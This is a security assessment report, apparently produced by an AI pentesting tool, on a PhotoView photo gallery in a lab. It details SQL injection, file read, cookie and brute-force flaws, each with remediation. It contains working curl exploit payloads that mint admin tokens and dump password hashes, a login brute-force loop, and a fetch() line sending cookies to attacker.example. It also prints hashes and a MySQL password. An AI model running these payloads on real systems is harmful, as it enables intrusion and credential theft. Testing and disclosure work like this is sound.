



SHANNON
AI Pentester by Keygraph

Security Assessment Report

Target **http://host.docker.internal:8000**

Tester **Shannon**

Date **2026-08-30**

Classification **CONFIDENTIAL**

This document contains sensitive security findings. Handle in accordance with your organization's data classification policy.

Contents

Executive Summary	4
Scope	4
Successfully Exploited Vulnerabilities by Type	4
Injection	4
Authentication	4
Authorization	5
Miscellaneous	5
Summary	6
Critical Findings	6
Findings Overview	7
Injection Exploitation Evidence (2 findings)	9
INJ-01: Pre-auth SQL injection in /api/download/album/{album_id} via raw GORM condition on album_id (stacked queries via MySQL MultiStatements)	9
INJ-02: Arbitrary file read (LFI) via DB-stored Media.Path served verbatim by the album-download zip sink	11
Authentication Exploitation Evidence (9 findings)	13
AUTH-01: Session 'auth-token' cookie set client-side via document.cookie without HttpOnly/Secure flags	13
AUTH-02: No rate limiting or lockout on the authorizeUser login mutation	15
AUTH-03: No password policy – createUser/updateUser accept empty and 1-character passwords; passwordless admin accounts authenticate	17
AUTH-04: Client-side-only logout with no server-side session-token revocation – sessions survive logout and password changes	19
AUTH-05: Plain-HTTP transport with no HSTS and non-Secure session cookie – credentials and tokens sniffable in cleartext	21
AUTH-06: Share-token expiry never enforced – 'expired' share links continue granting anonymous album read and downloads	23
AUTH-07: Unthrottled anonymous share-password oracle in shareTokenValidatePassword – 4-digit share password brute-forced in 40s	24
AUTH-08: Username/passwordless-account/role enumeration via login timing, distinct errors, and directive messages	26
AUTH-09: WebSocket origin validation bypass – attacker-controlled origins accepted, enabling cross-origin authenticated notification subscriptions	28
Authorization Exploitation Evidence (5 findings)	30
AUTHZ-01: shareAlbum ownership check bypass – users can mint share tokens for albums they do not own	30
AUTHZ-02: IDOR in favoriteMedia – any authenticated user reads arbitrary Media objects (path, EXIF/GPS, shares) by sequential ID	32
AUTHZ-03: Album.shares/Media.shares disclose every share token (raw bearer credentials) with no owner filter	34
AUTHZ-04: WebSocket notification broadcast has no recipient filter – scan events (incl. other users' paths) fan out to every subscriber	36
AUTHZ-05: Nil-pointer panic in media(id, tokenCredentials) – album-type share token causes per-request server panic	38
Miscellaneous Exploitation Evidence (2 findings)	40

MISC-01: Plaintext share password stored in JS-readable 'share-token-pw-<token>' cookie without
HttpOnly/Secure 40

MISC-02: Share tokens as bearer capabilities in URLs (?token=) – captured-URL replay and 24h response
caching 42

Executive Summary

Target	http://host.docker.internal:8000
Date	2026-08-30
Tester	Shannon
Assessment Status	Complete

Assessment of http://host.docker.internal:8000 (PhotoView, a self-hosted photo gallery) on 2026-08-30 confirmed critical, high, and medium vulnerabilities across the assessed classes; no XSS and no SSRF vulnerabilities were confirmed. The most critical issue is a pre-auth SQL injection in the album-download route that grants full MariaDB read/write, demonstrated end-to-end by exfiltrating bcrypt password hashes, minting a working admin session token, and reading arbitrary server files, alongside high-severity authorization defects (shareAlbum ownership-check bypass, favoriteMedia IDOR) and widespread authentication weaknesses (no login rate limiting or lockout, JS-readable non-Secure session cookie, client-side-only logout with no token revocation, unenforced share-token expiry and share-password oracle). Overall risk is critical: an unauthenticated attacker can fully compromise the database and admin accounts, and any authenticated low-privilege user can read other users' media and share credentials.

Scope

Injection, Cross-Site Scripting (XSS), Authentication, Authorization, Server-Side Request Forgery (SSRF)

Successfully Exploited Vulnerabilities by Type

Injection

- **INJ-01** — Pre-auth SQL injection in /api/download/album/{album_id} via raw GORM condition on album_id (stacked queries via MySQL MultiStatements)
- **INJ-02** — Arbitrary file read (LFI) via DB-stored Media.Path served verbatim by the album-download zip sink

Authentication

- **AUTH-01** — Session 'auth-token' cookie set client-side via document.cookie without HttpOnly/Secure flags
- **AUTH-02** — No rate limiting or lockout on the authorizeUser login mutation
- **AUTH-03** — No password policy — createUser/updateUser accept empty and 1-character passwords; passwordless admin accounts authenticate
- **AUTH-04** — Client-side-only logout with no server-side session-token revocation — sessions survive logout and password changes
- **AUTH-05** — Plain-HTTP transport with no HSTS and non-Secure session cookie — credentials and tokens sniffable in cleartext

- **AUTH-06** — Share-token expiry never enforced — 'expired' share links continue granting anonymous album read and downloads
- **AUTH-07** — Unthrottled anonymous share-password oracle in `shareTokenValidatePassword` — 4-digit share password brute-forced in 40s
- **AUTH-08** — Username/passwordless-account/role enumeration via login timing, distinct errors, and directive messages
- **AUTH-09** — WebSocket origin validation bypass — attacker-controlled origins accepted, enabling cross-origin authenticated notification subscriptions

Authorization

- **AUTHZ-01** — `shareAlbum` ownership check bypass — users can mint share tokens for albums they do not own
- **AUTHZ-02** — IDOR in `favoriteMedia` — any authenticated user reads arbitrary Media objects (path, EXIF/GPS, shares) by sequential ID
- **AUTHZ-03** — `Album.shares/Media.shares` disclose every share token (raw bearer credentials) with no owner filter
- **AUTHZ-04** — WebSocket notification broadcast has no recipient filter — scan events (incl. other users' paths) fan out to every subscriber
- **AUTHZ-05** — Nil-pointer panic in `media(id, tokenCredentials)` — album-type share token causes per-request server panic

Miscellaneous

- **MISC-01** — Plaintext share password stored in JS-readable 'share-token-pw-<token>' cookie without `HttpOnly/Secure`
- **MISC-02** — Share tokens as bearer capabilities in URLs (`?token=`) — captured-URL replay and 24h response caching

Summary



Total identified 18
Successfully exploited 18

- 2 Injection
- 9 Authentication
- 5 Authorization
- 2 Miscellaneous

Critical Findings

1. INJ-01: Pre-auth SQL injection in /api/download/album/{album_id} via raw GORM condition on album_id (stacked queries via MySQL MultiStatements)

Findings Overview

ID	Title	Category	Severity
INJ-01	Pre-auth SQL injection in /api/download/album/{album_id} via raw GORM condition on album_id (stacked queries via MySQL MultiStatements)	Injection	CRITICAL
INJ-02	Arbitrary file read (LFI) via DB-stored Media.Path served verbatim by the album-download zip sink	Injection	HIGH
AUTH-01	Session 'auth-token' cookie set client-side via document.cookie without HttpOnly/Secure flags	Authentication	HIGH
AUTH-02	No rate limiting or lockout on the authorizeUser login mutation	Authentication	MEDIUM
AUTH-03	No password policy — createUser/updateUser accept empty and 1-character passwords; passwordless admin accounts authenticate	Authentication	MEDIUM
AUTH-04	Client-side-only logout with no server-side session-token revocation — sessions survive logout and password changes	Authentication	MEDIUM
AUTH-05	Plain-HTTP transport with no HSTS and non-Secure session cookie — credentials and tokens sniffable in cleartext	Authentication	MEDIUM
AUTH-06	Share-token expiry never enforced — 'expired' share links continue granting anonymous album read and downloads	Authentication	MEDIUM
AUTH-07	Unthrottled anonymous share-password oracle in shareTokenValidatePassword — 4-digit share password brute-forced in 40s	Authentication	MEDIUM
AUTH-08	Username/passwordless-account/role enumeration via login timing, distinct errors, and directive messages	Authentication	LOW
AUTH-09	WebSocket origin validation bypass — attacker-controlled origins accepted, enabling cross-origin authenticated notification subscriptions	Authentication	LOW
AUTHZ-01	shareAlbum ownership check bypass — users can mint share tokens for albums they do not own	Authorization	HIGH
AUTHZ-02	IDOR in favoriteMedia — any authenticated user reads arbitrary Media objects (path, EXIF/GPS, shares) by sequential ID	Authorization	HIGH
AUTHZ-03	Album.shares/Media.shares disclose every share token (raw bearer credentials) with no owner filter	Authorization	MEDIUM

ID	Title	Category	Severity
AUTHZ-04	WebSocket notification broadcast has no recipient filter — scan events (incl. other users' paths) fan out to every subscriber	Authorization	LOW
AUTHZ-05	Nil-pointer panic in media(id, tokenCredentials) — album-type share token causes per-request server panic	Authorization	LOW
MISC-01	Plaintext share password stored in JS-readable 'share-token-pw-<token>' cookie without HttpOnly/Secure	Miscellaneous	MEDIUM
MISC-02	Share tokens as bearer capabilities in URLs (?token=) — captured-URL replay and 24h response caching	Miscellaneous	LOW

Injection Exploitation Evidence (2 findings)

INJ-01: Pre-auth SQL injection in /api/download/album/{album_id} via raw GORM condition on album_id (stacked queries via MySQL MultiStatements)

CRITICAL

OWASP A05:2025 — Injection

Location	GET /api/download/album/{album_id}/{media_purpose} — api/routes/downloads.go:25 db.Find(&album, albumID); source: album_id raw URL path segment (downloads.go:20 mux.Vars); MySQL DSN MultiStatements=true (api/database/database.go:36); auth gate authenticateAlbum runs after the query (downloads.go:31)
Auth state	Unauthenticated (pre-auth). The SQL executes before the ownership/share-token auth gate, regardless of session state.
Prerequisites	None — the endpoint is unauthenticated and the SQL executes before the auth gate. Requisite knowledge: endpoint format (public). All state used in the proof (minted access token, scratch rows) was created by the injection itself.
Overview	The album_id path parameter is passed unvalidated as a GORM shorthand condition to db.Find, so any attacker-controlled string becomes the full WHERE predicate of SELECT * FROM albums WHERE <payload> and executes BEFORE the ownership/share-token auth gate. GORM v1.25.9 splices a non-numeric string verbatim as a raw WHERE clause, and the MySQL DSN sets MultiStatements=true, which enables stacked statements. No session or token is required. The exploitation proved a time-based blind oracle (SLEEP), stacked SELECT/INSERT/UPDATE execution with no authentication, and full database read/write.
Impact	Unauthenticated attacker achieved full read/write over the MariaDB database: time-based blind extraction of VERSION()=12.3.3-MariaDB-ubu2404, CURRENT_USER()=photoview@%, DATABASE()=photoview; enumeration of all 14 tables and their columns; exfiltration of the complete users table including bcrypt password hashes for all 4 accounts (the admin hash verified as the genuine hash of the configured admin password); minting of a valid admin session token (access_tokens INSERT) that authenticated as admin id=1 on the GraphQL API; and pre-auth DoS via stacked SLEEP.

Exploitation Steps

Step 1 — Confirm the time-based oracle and stacked-query execution (unauthenticated)

The value after /api/download/album/ is spliced into SELECT * FROM albums WHERE <payload>. A SQL error yields HTTP 404, a successful query yields 403 (the auth gate fails for anonymous callers), and SLEEP delays are observable regardless of the auth gate verdict.

```
# baseline - 0.006s, 403
curl -o /dev/null -w '%{http_code} %{time_total}s\n' 'http://host.docker.internal:8000/api/download/album/1%20AND%20SLEEP(0)/original'
# time delay - ~3.0s, 403
curl -o /dev/null -w '%{http_code} %{time_total}s\n' 'http://host.docker.internal:8000/api/download/album/1%20AND%20SLEEP(3)/original'
```

```
00/api/download/album/1%20AND%20SLEEP(3)/original'
# stacked statements execute (2nd statement runs) - ~3.0s
curl -o /dev/null -w '%{http_code} %{time_total}s\n' 'http://host.docker.internal:8000/api/download/album/1;%20SELECT%20SLEEP(3)/original'
```

Step 2 — Blind fingerprinting (time-based)

Binary search per character with 1 AND IF(ORD(SUBSTRING((SELECT <EXPR>),<POS>,1))><MID>,SLEEP(3),0) fully URL-encoded in the album_id path segment: TRUE ~ 3s+, FALSE ~ 0.01s. Full script (47-min run, ~2,800 requests) saved at .shannon/scratchpad/sqli_blind_extract.py. Results: VERSION=12.3.3-MariaDB-ubu2404, CURRENT_USER=photoview@%, DATABASE=photoview.

```
curl -o /dev/null -w '%{http_code} %{time_total}s\n' 'http://host.docker.internal:8000/api/download/album/1%20AND%20IF%28ORD%28SUBSTRING%28%28SELECT%20VERSION%28%29%29%2C1%2C1%29%29%3E48%2CSLEEP%283%29%2C0%29/original'
```

Step 3 — Mint an admin session via stacked INSERT (pre-auth)

One request inserts a persistent access token for admin user id=1 with a far-future expiry; the minted token is then a real session that authenticates as admin on the GraphQL API.

```
curl -s 'http://host.docker.internal:8000/api/download/album/1%3B%20INSERT%20INTO%20access_tokens%20%28user_id%2C%20value%2C%20expire%2C%20created_at%2C%20updated_at%29%20VALUES%20%281%2C%20%27mintadmin0000001%27%2C%20%272099-01-01%2000%3A00%3A00%27%2C%20NOW%28%29%2C%20NOW%28%29%29%3B%20--%20/original'
# -> 403 (SQL ran; auth gate failed for the anonymous caller as expected)

curl -s 'http://host.docker.internal:8000/api/graphql' -X POST -H 'Content-Type: application/json' \
  -H 'Cookie: auth-token=mintadmin0000001' \
  -d '{"query":"query { myUser { id username admin } }"}'
# -> {"data":{"myUser":{"id":"1","username":"admin","admin":true}}}
```

Step 4 — Exfiltrate the users table (usernames + bcrypt hashes)

A stacked INSERT + UPDATE copies the full users table into the blurhash column (LONGTEXT) of a scratch media row, then is read back as the minted admin. The same technique enumerated the 14-table schema and per-table column lists.

```
curl -s 'http://host.docker.internal:8000/api/download/album/1%3B%20SET%20FOREIGN_KEY_CHECKS%3D0%3B%20INSERT%20INTO%20media%20%28title%2C%20path%2C%20path_hash%2C%20album_id%2C%20date_shot%2C%20type%2C%20created_at%2C%20updated_at%2C%20blurhash%29%20VALUES%20%28%27EXFILUSERS%27%2C%27exfilusers%27%2CMD5%28%27exfilusers%27%29%2C8%2CNOW%28%29%2C%27photo%27%2CNOW%28%29%2CNOW%28%29%2C%28SELECT%20GROUP_CONCAT%28CONCAT_WS%28%27%7C%27%2Cid%2Cusername%2CIFNULL%28password%2C%27NULL%27%29%2Cadmin%29%20SEPARATOR%20%27%5Cn%27%29%20FROM%20users%29%29%3B%20--%20/original'

curl -s 'http://host.docker.internal:8000/api/graphql' -X POST -H 'Content-Type: application/json' -H 'Cookie: auth-token=mintadmin0000001' \
  -d '{"query":"query { myMedia(paginate: {limit: 20}) { id title blurhash } }"}' |
grep EXFILUSERS
```

Step 5 — Prove the hashes are real admin credentials (offline, non-destructive)

Verify the dumped admin hash against the engagement's configured admin password using bcrypt (\$password placeholder for the configured value).

```
import bcrypt
bcrypt.checkpw(b'$password', b'$2a$12$ay60ohoi9XqbTGF.RJWxWuebxlo87d1RB4nU7NpKIa1VFqR.DPe00') # -> True
```

Proof of Impact

1. Time-based oracle - SQL executes pre-auth: baseline 403 in 0.0056s; 1 AND SLEEP(3) -> 403 in 3.0065s; stacked 1; SELECT SLEEP(3) -> 403 in 3.0051s; TRUE IF-probe -> 403 in 24.01s.

Blind-extracted fingerprint: VERSION=12.3.3-MariaDB-ubu2404, CURRENT_USER=photoview@%, DATABASE=photoview

Minted admin session accepted by GraphQL:
{"data":{"myUser":{"id":"1","username":"admin","admin":true}}}

Exfiltrated users table (id | username | bcrypt-hash | admin):
1|admin|\$2a\$12\$ay60ohoi9XqbTGF.RJWxWuebxlo87d1RB4nU7NpKIa1VFqR.DPe00|1
6|user|\$2a\$12\$SXqU0NrWZZDiu88NoNhn0ipZ5z91AXVR9LJxiGeGPrP9rMvTcV7i|0
8|user2|\$2a\$12\$HRZ7/DJS68T7TvlJaCvfJ0eZfUEMYuxhUvkn3/3Za1/pc8X.CTyXi|0
16|prober|\$2a\$12\$InoWd4Gsd4E2T8pUQf9vDu8PYc0t.LtcC53iVzxWmI.9QnGKFttcy|0

Admin hash verified as the genuine credential: bcrypt.checkpw(<configured admin password>, dumped hash) == True

Remediation

Parse and validate album_id as an integer (strconv.Atoi on the mux path variable, returning an error for non-numeric input) before it reaches any database call, and replace the raw shorthand condition with a parameterized query (db.Where("id = ?", id).First(&album)). Remove MultiStatements=true from the MySQL DSN (api/database/database.go:36) unless strictly required, and move the authorization gate (authenticateAlbum) ahead of any data-touching operation. Add regression tests asserting non-numeric album_id values are rejected before the SQL layer.

INJ-02: Arbitrary file read (LFI) via DB-stored Media.Path served verbatim by the album-download zip sink

HIGH

OWASP A01:2025 — Broken Access Control

Location	GET /api/download/album/{album_id}/original?token={share_token} — api/routes/downloads.go:82 os.Open(filePath) where filePath = media.CachedPath(); sink root: api/graphql/models/media.go:140 cachedPath = p.Media.Path (MediaOriginal branch, no path validation/protocol filter); alternative sink /api/photo (photos.go:67 http.ServeFile)
Auth state	Unauthenticated (anonymous caller authenticated with a share token minted remotely via the INJ-01 SQLi; no session used)
Prerequisites	Ability to plant a media row whose Path points at the target file plus a matching media_urls (purpose=original) row and an album share token — all of which this run created remotely via the INJ-01 stacked SQLi over the public interface; no filesystem access and no authenticated session were used. Alternatively, any other means of controlling a scanned Media.Path reaches the same sink when an ownership/share-token gate is satisfied.
Overview	The album-download path serves DB-stored Media.Path verbatim for the 'original' purpose without any path validation or protocol filter: CachedPath() returns p.Media.Path unmodified (api/

graphql/models/media.go:140) and downloads.go:82 os.Open()s it into a zip. Because the pre-auth SQLi (INJ-01) allows planting arbitrary rows and share tokens, an attacker who can send two HTTP requests reads arbitrary files from the server filesystem. Demonstrated: /etc/passwd, then /proc/1/environ which leaked the application's MySQL credentials.

Impact Arbitrary file read on the application server, executed remotely and unauthenticated: read /etc/passwd (1,351 bytes) as a zip entry; read /proc/1/environ exposing the full container environment including PHOTOVIEW_MYSQL_URL with the MySQL credentials for the photoview database, listen port, media cache paths and install layout; confirmed /etc/hostname as well. Any file readable by the photoview process (uid 999) is accessible this way, and the same mechanism can be redirected to arbitrary paths by repeated stacked UPDATE/INSERT.

Exploitation Steps

Step 1 — Plant rows through the stacked SQLi (single unauthenticated request)

CHAR(47) builds / inside the SQL so the URL path segment never contains an encoded slash. This creates an album, a media row whose path is /etc/passwd, an original-purpose media_url, and a share token — all via the INJ-01 sink (the 403 response is expected; the SQL executes).

```
curl -s -o /dev/null -w '%{http_code}\n' 'http://host.docker.internal:8000/api/download/album/1%3B%20SET%20FOREIGN_KEY_CHECKS%3D0%3B%20INSERT%20INTO%20albums%20%28title%2C%20path%2C%20path_hash%2C%20created_at%2C%20updated_at%29%20VALUES%20%28%27LFI-ALBUM%27%2C%27lfi-album%27%2CMD5%28%27lfi-album%27%29%2CNOW%28%29%2CNOW%28%29%29%3B%20SET%20%40aid%3DLAST_INSERT_ID%28%29%3B%20INSERT%20INTO%20media%20%28title%2C%20path%2C%20path_hash%2C%20album_id%2C%20date_shot%2C%20type%2C%20created_at%2C%20updated_at%29%20VALUES%20%28%27pwned%27%2C%20CONCAT%28CHAR%2847%29%2C%27etc%27%2CCHAR%2847%29%2C%27passwd%27%29%2CMD5%28CONCAT%28CHAR%2847%29%2C%27etc%27%2CCHAR%2847%29%2C%27passwd%27%29%29%2C%40aid%2CNOW%28%29%2C%27photo%27%2CNOW%28%29%2CNOW%28%29%29%3B%20SET%20%40mid%3DLAST_INSERT_ID%28%29%3B%20INSERT%20INTO%20media_urls%20%28media_id%2C%20media_name%2C%20width%2C%20height%2C%20purpose%2C%20content_type%2C%20file_size%2C%20created_at%2C%20updated_at%29%20VALUES%20%28%40mid%2C%27pwnedfile%27%2C0%2C0%2C%27original%27%2C%27binary%27%2C0%2CNOW%28%29%2CNOW%28%29%29%3B%20INSERT%20INTO%20share_tokens%20%28value%2C%20owner_id%2C%20album_id%2C%20created_at%2C%20updated_at%29%20VALUES%20%28%27pwnedsharetoken%27%2C1%2C%40aid%2CNOW%28%29%2CNOW%28%29%29%3B%20--%20/original'
```

Step 2 — Trigger the file-serve sink (unauthenticated, using the minted share token)

The album-download handler authenticates the anonymous caller with the share token, joins the planted media_urls row, calls CachedPath() which returns p.Media.Path verbatim for purpose 'original' (api/graphql/models/media.go:140), and os.Open()s/zips it (api/routes/downloads.go:82). The album id was read back as 9123 on this instance.

```
curl -s 'http://host.docker.internal:8000/api/download/album/9123/original?token=pwnedsharetoken' -o lfi.zip
unzip -l lfi.zip
# 1351 LFI-ALBUM/pwnedfile
unzip -p lfi.zip
# root:x:0:0:root:/root:/bin/bash (full /etc/passwd)
```

Step 3 — Escalate the read to process environment (DB credentials)

Repoint the planted media row's path (again via stacked SQL with CHAR(47)) to /proc/1/environ and re-download.

```
curl -s -o /dev/null -w '%{http_code}\n' 'http://host.docker.internal:8000/api/download/album/1%3B%20UPDATE%20media%20SET%20path%3DCONCAT%28CHAR%2847%29%2C%27proc%27%2CCHAR%2847%29%2C%271%27%2CCHAR%2847%29%2C%27environ%27%29%2C%20path_hash%3DMD5%28%27environ-target%27%29%20WHERE%20title%3D%27pwned%27%3B%20--%20/original'
```

```
curl -s 'http://host.docker.internal:8000/api/download/album/9123/original?token=pwnedsharetoken' -o lfi_env.zip
unzip -p lfi_env.zip | tr '\0' '\n'
```

Proof of Impact

```
GET /api/download/album/9123/original?token=pwnedsharetoken -> HTTP 200 OK
Content-Disposition: attachment; filename="LFI-ALBUM.zip"
Archive: lfi.zip / 1351 bytes LFI-ALBUM/pwnedfile
unzip -p lfi.zip | head -> root:x:0:0:root:/root:/bin/bash, daemon, bin, sys ... photoview:x:999:999 (full /etc/passwd)
```

```
Read of /proc/1/environ exposed the full container environment:
HOSTNAME=photoview
PHOTOVIEW_DATABASE_DRIVER=mysql
PHOTOVIEW_MYSQL_URL=photoview:7beb53381ace9083a75600e71d10ea123badd41d@tcp(photoview-mariadb)/photoview
PHOTOVIEW_LISTEN_IP=0.0.0.0
PHOTOVIEW_LISTEN_PORT=80
PHOTOVIEW_MEDIA_CACHE=/home/photoview/media-cache
... (MySQL credentials, listen port, media cache paths and install layout)
Artifacts: .shannon/scratchpad/lfi_etc_passwd.zip, lfi_proc_env.zip
```

Remediation

Never trust the DB-stored Media.Path for the 'original' (full-fidelity) purpose: validate that the resolved path stays within the configured media roots (filepath.Clean + relative-path containment check or an allowlisted root prefix, rejecting absolute paths outside the roots and all protocol/URL schemes). Since the sink is reachable only through DB rows and share tokens, first fix the source — the INJ-01 SQLi (integer-parse album_id, parameterized queries, drop MultiStatements=true) — so path values cannot be attacker-planted, and restrict which media rows/paths the anonymous share-token path may serve.

Authentication Exploitation Evidence (9 findings)

AUTH-01: Session 'auth-token' cookie set client-side via document.cookie without HttpOnly/Secure flags

HIGH

OWASP A07:2025 — Authentication Failures

Location Cookie 'auth-token' written by document.cookie at ui/src/helpers/authentication.ts:4; consumed by the global middleware at api/graphql/auth/auth.go:31 across every authenticated endpoint (POST /api/graphql, REST media routes)

Auth state	Authenticated user session (victim). The thief requires script execution in the application origin (e.g., XSS gadget); the cookie attributes and replay chain were demonstrated in-browser as the victim.
Prerequisites	Script execution in the application origin (e.g., XSS via rendered media metadata/EXIF or face-group labels) OR on-path network observation of the plain-HTTP traffic (see AUTH-05). The cookie attributes and the full cookie-to-replay chain were demonstrated in-browser; the theft vector itself is the precondition.
Overview	The 24-char opaque session bearer token is delivered only as a client-side JavaScript cookie with no HttpOnly and no Secure flag (verified live: httpOnly=false, secure=false, sameSite=Lax, 14-day expiry). Any script running in the application origin can read document.cookie and exfiltrate the token; replay of that token via a plain HTTP cookie grants the full identity of the logged-in user. Demonstrated end-to-end: logged in as the configured user in a browser, read the token via document.cookie, then replayed it from an independent HTTP client (curl) to reach admin-only GraphQL data (myUser id=1 admin=true and the admin-only user list).
Impact	Full admin account takeover demonstrated: the auth-token cookie read from document.cookie in the victim's browser session was replayed from an independent client and granted the admin identity — myUser returned {"id":"1","username":"\$username","admin":true} and the admin-only user query returned the full user list. The cookie is readable by any script in the origin (httpOnly=false) and travels in cleartext (secure=false), so any XSS or plain-HTTP observer becomes the account.

Exploitation Steps

Step 1 — Victim logs in; the app sets the session cookie via JavaScript

Victim logs in over plain HTTP: open `http://host.docker.internal:8000/login` and submit the credentials. The app stores the returned bearer token itself, client-side: `document.cookie = auth-token=<token>;max-age=1209600;path=/;sameSite=Lax` (ui/src/helpers/authentication.ts:4).

```
document.cookie -> "auth-token=<SESSION_TOKEN>"
```

Step 2 — Attacker script in the page origin reads the session cookie

Any script running in the page origin can exfiltrate the token with a single `document.cookie` read.

```
fetch('https://attacker.example/steal?c=' + encodeURIComponent(document.cookie))
```

Step 3 — Confirm the cookie attributes that make this possible

```
[{"name":"auth-token","value":"<SESSION_TOKEN>","domain":"host.docker.internal","path":"/","expires":1789330149.6,"httpOnly":false,"secure":false,"sameSite":"Lax"}]
```

No HttpOnly (JS-readable), no Secure (sent over plain HTTP), SameSite=Lax only. The server never issues Set-Cookie (grep: zero matches), so the flags cannot be hardened server-side.

Step 4 — Replay the stolen token from an independent client to impersonate the victim

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
  -H 'Content-Type: application/json' -b 'auth-token=<SESSION_TOKEN>' \
  -d '{"query":"{myUser{id username admin}}"}'
# -> {"data":{"myUser":{"id":"1","username":"$username","admin":true}}}
```

Step 5 — Escalate to admin-only data with the same stolen cookie

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
  -H 'Content-Type: application/json' -b 'auth-token=<SESSION_TOKEN>' \
  -d '{"query":{"user{id username admin}}}'
# returns the full user list - the stolen session is indistinguishable from the legitimate one
```

Proof of Impact

```
# context.cookies() for host.docker.internal
[{"name":"auth-token","value":"5tc2xuzfGxaLl43b3tAzb0Mg","domain":"host.docker.internal",
  "path":"/","expires":1789330149.665051,"httpOnly":false,"secure":false,"sameSite":"Lax"}]

# page.evaluate('document.cookie') -> the token is fully JS-readable
"auth-token=5tc2xuzfGxaLl43b3tAzb0Mg"

# Replay from an independent client:
$ curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
  -b 'auth-token=5tc2xuzfGxaLl43b3tAzb0Mg' -d '{"query":{"myUser{id username admin}}}'
{"data":{"myUser":{"id":"1","username":"$username","admin":true}}}

$ curl ... -b 'auth-token=5tc2xuzfGxaLl43b3tAzb0Mg' -d '{"query":{"user{id username admin}}}'
{"data":{"user":[{"id":"1","username":"$username","admin":true},{"id":"6",...}, {"id":"8",...}]}}
```

Remediation

Stop managing the session cookie client-side: have the server issue the auth-token via an HttpOnly, Secure, SameSite=Strict (or Lax with a CSRF token) Set-Cookie header, and let the SPA read the token from an in-memory store instead of document.cookie. Serve the application exclusively over TLS so the Secure flag is effective, and avoid further weakening via any endpoint that reflects document.cookie. If JS must read the token, scope it to a short-lived refresh token and rotate the bearer on each use.

AUTH-02: No rate limiting or lockout on the authorizeUser login mutation

MEDIUM

OWASP A07:2025 — Authentication Failures

Location	POST /api/graphql — mutation authorizeUser (api/graphql/resolvers/user.go:75; bcrypt compare at api/graphql/models/user.go:76-99). Grep-verified: zero rate-limit/lockout code anywhere in the API.
Auth state	Unauthenticated — the login mutation authorizeUser is publicly reachable; no session required.
Prerequisites	A target username (obtainable anonymously via the AUTH-08 enumeration oracles). No authentication required.
Overview	The authorizeUser login mutation has no rate limiting, no account lockout, and no CAPTCHA. Live-verified: 300 sequential wrong-password attempts against a single username all returned HTTP 200 with the uniform 'invalid credentials' error and flat ~200 ms latency (bcrypt cost 12) — no 429s, no progressive delay, no lockout, and the correct password still authenticated immediately afterwards. Brute-force, credential-stuffing and password-spraying can run

unbounded, single-threaded (~5 attempts/sec) or arbitrarily parallelized across connections/IPs. Grep-verified: zero rate-limit/lockout code anywhere in the API.

Impact Demonstrated 300 consecutive failed login attempts against the target username with zero throttling or lockout (all HTTP 200, uniform ~190-210 ms bcrypt compare, no rate-limit signals in any body), immediately followed by a successful login with the correct password — proving no lockout accumulates. An attacker can run credential-stuffing/password-spraying campaigns with no backoff and no risk of account lockout, and any account using a guessable password is recoverable at ~31 attempts/sec with 16 parallel workers.

Exploitation Steps

Step 1 — Baseline timing of one login attempt (~200 ms = bcrypt cost 12)

```
curl -s -o /dev/null -w '%{http_code} %{time_total}s\n' \
-X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
-d '{"query":"mutation{authorizeUser(username:\"$username\",password:\"wrong\"){success status}}}"'
# -> 200 0.19s, body {"data":{"authorizeUser":{"success":false,"status":"invalid credentials"}}
```

Step 2 — Run an unbounded batch of wrong-password attempts (300 used in this test)

```
for i in $(seq 1 300); do
  curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
  -d '{"query":"mutation{authorizeUser(username:\"$username\",password:\"guess-$i\"){success status}}}"' \
  -o /dev/null -w "$i %{http_code}\n"
done
# All 300 return HTTP 200 with the same 'invalid credentials' body; no 429/403, no lockout, flat latency
```

Step 3 — Prove no lockout accumulated - the correct password still authenticates immediately

```
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
-d '{"query":"mutation{authorizeUser(username:\"$username\",password:\"$password\"){success status token}}}"'
# -> {"data":{"authorizeUser":{"success":true,"status":"ok","token":"<SESSION_TOKEN>"}}
```

Step 4 — Parallelize to raise the rate

Parallelize to raise the rate: 16 concurrent workers recovered a 4-digit share password at ~31 attempts/sec (see AUTH-07); the same pattern applies to user login at 16 x ~190 ms per batch slot. No per-IP or per-account counter exists to stop it.

Proof of Impact

```
300 sequential guesses vs $username:
  status codes seen : {200: 300}          (no 429 / 403 / 5xx)
  lockout signals   : 0 matches for rate|limit|lock|too many|blocked|429 in any body
  latency           : min 190.2 ms / max 345.8 ms / avg 201.6 ms / stdev 12.3 ms (fl
at, no backoff)
  elapsed           : 60.5 s (300 attempts)

Correct-password login immediately after the batch:
{"data":{"authorizeUser":{"success":true,"status":"ok"}}}

Source confirmation: grep -rniE "rate.?limit|lockout|too many|max.?attempt|fail2ban|
throttlt" api/ -> no matches
```

Remediation

Add server-side throttling to authorizeUser: per-account and per-IP exponential backoff with lockout after N failed attempts (e.g., 5), CAPTCHA or proof-of-work after repeated failures, and a monotonic per-IP request budget on /api/graphql (the endpoint has no request-size or per-IP limits today). Ensure the account state (failed-attempt counter, last-attempt timestamp) is updated in the same transaction as the credential check so the counter cannot be raced, and log every failed login for alerting.

AUTH-03: No password policy — createUser/updateUser accept empty and 1-character passwords; passwordless admin accounts authenticate

MEDIUM

OWASP A07:2025 — Authentication Failures

Location	POST /api/graphql — createUser/updateUser (bcrypt hashing at api/graphql/models/user.go:108-116; RegisterUser) and initialSetupWizard (api/graphql/resolvers/user.go:107-157); login compare at api/graphql/models/user.go:76-99
Auth state	Admin session required to create the weak accounts (createUser is @isAdmin-gated); the login itself is unauthenticated. Precondition documented in the deliverable: the weak-account state is created via the admin-only mutation.
Prerequisites	For the demonstrated path: an admin session (createUser is @isAdmin) — the weak-account state is created via the admin-only mutation, a documented precondition. The login itself requires only the username (discoverable via AUTH-08) and the trivial password. In real usage the same state arises when an admin creates/resets user accounts with weak passwords or via the first-run wizard on a fresh deployment.
Overview	There is no server-side password policy: bcrypt.GenerateFromPassword hashes any input with no minimum length, complexity, or common-password rejection, and createUser(password:null) creates permanently locked-out accounts. Live-verified: users created with passwords " (empty) and 'a' both logged in successfully (success:true + issued session token); an account created with admin:true and an empty password logged in with " and reached admin-only data. The first-run bootstrap (initialSetupWizard, pre-auth) likewise accepts arbitrary weak passwords.
